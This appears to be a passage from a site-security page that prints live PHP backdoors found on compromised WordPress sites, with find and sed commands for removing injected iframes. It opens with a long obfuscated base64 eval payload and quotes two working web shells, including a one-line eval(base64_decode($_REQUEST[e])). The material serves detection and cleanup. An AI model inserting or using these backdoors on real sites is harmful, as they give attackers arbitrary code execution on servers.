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’\x29\x29\x29\x3B”,”.”);
?>

This is a backdoor found on many WordPress sites, typically in the file wp-config.php

if (isset($_REQUEST[‘FILE’])){$_FILE = $_REQUEST[‘12722f6d103997f30e9765d0153305’](‘$_’,$_REQUEST[‘FILE’].'($_);’); $_FILE(stripslashes($_REQUEST[‘HOST’]));}

This is a real simple backdoor

$_REQUEST[e] ? eval( base64_decode( $_REQUEST[e] ) ) : exit;

found on php based sites.  This single line of code is found in file added to the site by hackers, frequently disguised as part of a plugin or a theme.  When the hackers request the file they can execute any php code contained in the variable e on the site.

 

If you’ve been a victim of an iframe injection attack, use the following steps to reverse the damage.

Note: Backup your data prior to beginning this procedure! Also be sure to secure whatever was broken and allowed this to happen (old scripts, hacked login details etc).

Use the following command to search for affected files.

find . -type f | xargs grep -l '<iframe.*statanalyze.cn.*iframe' 

Next, use the following command to search and replace on matched iframe text only.

find . -type f -exec sed -i 's/<iframe.*statanalyze.cn.*iframe>//g' {} \; 

Adjust the contents of the iframe regexp to suit. In this example it is: statanalyze.cn

Handling filenames with blanks

The commands above will not work if you have filenames with blanks in their names. To edit these, use the following commands:

find . -type f -print0 | xargs -0 grep -l '<iframe.*statanalyze.cn.*iframe' find . -type f -exec sed -i 's/<iframe.*statanalyze.cn.*iframe>//g' "{}" \;